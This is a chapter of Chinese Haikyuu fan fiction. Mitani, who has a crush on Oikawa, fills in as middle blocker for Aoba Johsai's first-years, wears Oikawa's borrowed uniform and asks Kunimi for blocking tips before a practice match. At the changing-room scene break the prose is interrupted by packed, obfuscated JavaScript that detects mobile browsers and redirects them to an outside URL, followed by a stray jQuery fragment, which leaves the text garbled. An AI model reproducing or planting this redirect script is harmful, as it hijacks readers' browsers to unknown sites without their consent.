暗恋的前辈向自己发出请求的时候,完全没办法拒绝啊。
此刻跟随青叶城西众人提前下电车的三谷鲸正在回想十几分钟前的自己是怎么答应及川前辈的,最后只能拼凑出一个几乎迫不及待就说出“可以”两个字的画面。
人有时候都不能共情十几分钟前的自己。
副攻他完全没打过……
及川彻其实也没想到他会答应,毕竟他觉得这家伙完全没有将他这个前辈放在眼里过。
跟着青叶城西一行人下车后,花卷贵大和松川静一就凑上来搭话了,而面对及川前辈的队友,三谷鲸也是多了几分耐心。
花卷贵大:“接下来的比赛就拜托你了,不过你不需要为此感到负担。”
他们的比赛确实是缺一个副攻,但在看到三谷鲸之前,他们想的也是能够有人上场就可以了。
回忆起今天这场突如其来的练习赛,青叶城西的众人都有些咬牙切齿,明明是教练忘记了自己的安排惹出来的,怎么最后却要他们这些一年级去处理啊。
IH大赛在即,青叶城西在全国的名气虽然聊胜于无,但在宫城县也算是一所排球强校,教练和监督也有一定的人脉,所以平常压根不缺练习赛打的,只是这一次却出现了漏洞。
在发现问题之后,本来带着及川彻一行人去东京打练习赛的监督立马和另一所学校打电话约好了,来一场一年级的练习赛。
对面的教练本就和青叶城西的监督是老朋友,之前约过的练习赛也不少,他承认青城的实力是不错,但自己的队伍也不是区区一支一年级队伍就能打败的,所以他最后也决定只派出一年级。
没道理他们队伍里的新人就不行。
再说青叶城西,今年的新生就算放到前面几年也是收获满满,不仅县内的天才二传选择了他们学校,还顺便收了两个潜力不错的主攻和一个副攻,若不出意外今年的比赛及川他们几个也是有出场机会的。
在碰到三谷鲸前,及川本想带着队伍里的两个自由人去比赛的,两个自由人都苦着一张脸,他们虽然在决定成为自由人之前都打过别的位置,但是已经和地面打交道惯了,在加上本就是因为身高的问题而不去打别的位置,现在怎么兜兜转转还是要打?
三谷鲸在花卷贵大和松川静一两个前辈的解释下,终于理清了及川前辈“比赛邀约”的来龙去脉了。
两个自由人知道有个后辈将代替他们其中一个上场之后,两人感激的目光差点把三谷鲸淹没,三谷鲸的嘴角不由得抽了抽。
前辈们啊,只是受苦的人呢从你们变成我了啊!
果然还是美色误人,如果再给我一次机会……
三谷鲸沉默了,这个理他说不出去,毕竟就算再来一次,他觉得自己也不可能拒绝前辈的请求。
想到这三谷鲸不由得叹了口气,说出去的话就断然没有收回的道理,而且他一个主攻手上去打副攻总比让自由人的前辈去好吧?
他们这次练习赛的学校和青叶城西一样,近几年都美有出线,但是实力在县内也是中上游的强校。
在三谷鲸整理思绪期间 ,及川彻和岩泉一已经带着他们一行人到达体育馆了,青叶城西那清新的队服在这所名为“小前寺”的学校显得格格不入。
所以在他们出现的那一刻就已经被关注了,三谷鲸这个临时的编外人员站在队伍里倒有些格格不入,但是他也不慌。
小前寺的教练正在和及川前辈说话,而青叶城西的其他人也准备热身,而此时的三谷鲸才发现,自己根本没有运动服,虽然也不是不能打,但是就这么上场的话,会被小前寺的人认为在挑衅吧?
顿时,三谷鲸的脸色一下变得有些古怪,想来想去最好的办法就是问小前寺的人借用一下运动服,毕竟每个运动社团为了以防万一都会在社团内备上多余的运动服。
不过这些备用运动服却不都是新的,大部分还是已经毕业的学长无偿留下的,三谷鲸也知道这个时候的自己不能太挑,只是他那有些蠢蠢欲动的洁癖似乎要出来作妖了。
岩泉一走过来的时候看到的就是这样一副场景,他本来有些意外的,虽然他对及川那个家伙有时候的任性很是苦脑,但是他不得不承认在三谷鲸确实是一个难以接触的人。
第一次看道他脸上的神情变换之丰富,岩泉一也只是觉得惊讶,并没有冒犯地询问。
等到三谷鲸地情绪终于平复之后,他抱着手里地衣服走了过去,“三谷,你没有带运动服吧。”
这句话岩泉一说的是陈述句,毕竟只要张了眼睛的人都知道,三谷鲸浑身上下就带了他自己这一个人。
他觉得岩泉前辈现在真的好像他和赤也打游戏的时候遇到的npc,因为还没等他回答,岩泉前辈就像是触及到什么指令一般,自顾自地说起了接下来的话。
岩泉一抱着及川那家伙的队服,心里却忍不住想:这衣服给三谷穿了之后,及川不会不要了吧?
及川彻刚和小前寺的教练说好,转身往回走的时候忍不住打了个喷嚏,内心嘀咕着,又是谁在背后说及川大人的坏话?
“这是及川那个家伙的队服,开学到现在没穿过几次,现在是干净的,你要不要穿?”
及川转身的时候就了看到小岩正把自己的队服递给三谷鲸,虽然自己已经同意了,但是一想到自己国中毕业时那封害了他做了好几天噩梦的情书,他就忍不住想逃。
几天前,他还在人家的病床前说着一些高高在上的话,转头就要拜托这个家伙帮忙,及川彻时真的不自在啊。
三谷鲸因为岩泉前辈的话抬起头,余光却看见及川前辈正在逃走,他眼中的欣喜快速消退,垂下眼眸,道:“谢谢岩泉前辈。”
见他同意,岩泉将手中的队服递过去,抬手指了个方向,“那边是更衣室,你抓紧时间。”
三谷鲸点头,然后抱着及川彻的队服就走了,而留在原地的岩泉一盯着那抱着队服默默走远的少年,不知道怎么却看出了几分可怜,就像是一只被主人抛弃的狗狗?
更衣室。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497897|202591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
换上及川彻队服的三谷鲸此刻从脸到脖子都红头了,而耳朵更是重灾区,抱着前辈的衣服时 ,他就问道了衣服上那股及川前辈常用的洗衣液的味道。
之前他也只闻道过几次,而现在他全身都被和及川前辈身上相同的味道包围,更何况及川前辈还穿过……
不能再想了,他这个样子显然时没办法上场的 ,冷静几分钟后三谷鲸终于想起来了即将要上场的比赛,他从通讯录翻出来上次住院之后和国见英加上的联系联系方式。
“国见同学,你是副攻手吧?”
“能告诉我一些拦网的诀窍吗?”
对面接通之后还没有出声就被三谷鲸一连串的问题问懵了,就在他以为对面不会回答的时候,国见英的声音带着几分平静从对面传来。
国见英:“你记错了,我是主攻手。”
在他的话音落下后,对面的三谷鲸彻底沉默。
他他他……居然记错了?
明明金田……
他想起来了,他全都想起来了,金田才是那个副攻!
国见英在这段时间的相处中已经明白了,三谷鲸有种藏在高冷外表之下的天然呆,他没有整蛊别人的兴趣爱好,而就算他不是副攻,但对这个位置的了解也比三谷鲸这个小白多了不少。
“国见同学真是个好人。”
远在宫城县的国见英还不知道自己又被发了一张好人卡,挂断电话,他看向正在冷战的金田和影山,默默地选择退出。
另一边,得到国见英真传的三谷鲸收拾好情绪自信满满地走了出来,他的脸和脖子的颜色已经恢复正常,耳朵却也只从红得能低出血变成了淡淡得一层红晕。
他觉得这也怪不得他,毕竟他现在穿的可是及川前辈的衣服。
早在他走进场馆还没有到众人面前得时候,及川彻就已经看到了穿着自己那身运动服得三谷鲸,虽然比及川前辈小了两岁,但三谷鲸的身高倒是窜得飞快已经比高一得及川彻还要高上一点了,穿着也算合身。
岩泉一看了一眼他,道:“松川是副攻,三谷在拦网的时候尽量跟上,构建双人拦网。”
三谷鲸点点头,知道这是最好的办法。
他正式比赛都没打过 ,这个时候倒是先和高中生打上了。
及川彻这时走过来,道:“你的击球点大概多高?”
上次的摸高数据三谷鲸虽然还记得,但也知道过了那么久,自己也在不断成长,就算记得也没用。
于是,在听完他的话之后,及川彻打算在赛前试探出三谷鲸的击球点,随着排球一次一次变高,及川彻脸上的假笑都要维持不住了。
这样的天赋,他只在一个人身上看到过。
及川彻下意识想吐槽一句“可恶的天才”,但脑海中却不由自主闪过在医院时,少年慌张的神情和乌青的手臂。
于是那未说出口的吐槽被埋藏在心底,随之而来的是复杂的心情。
“小前寺一年级VS青叶城西一年级,比赛开始。”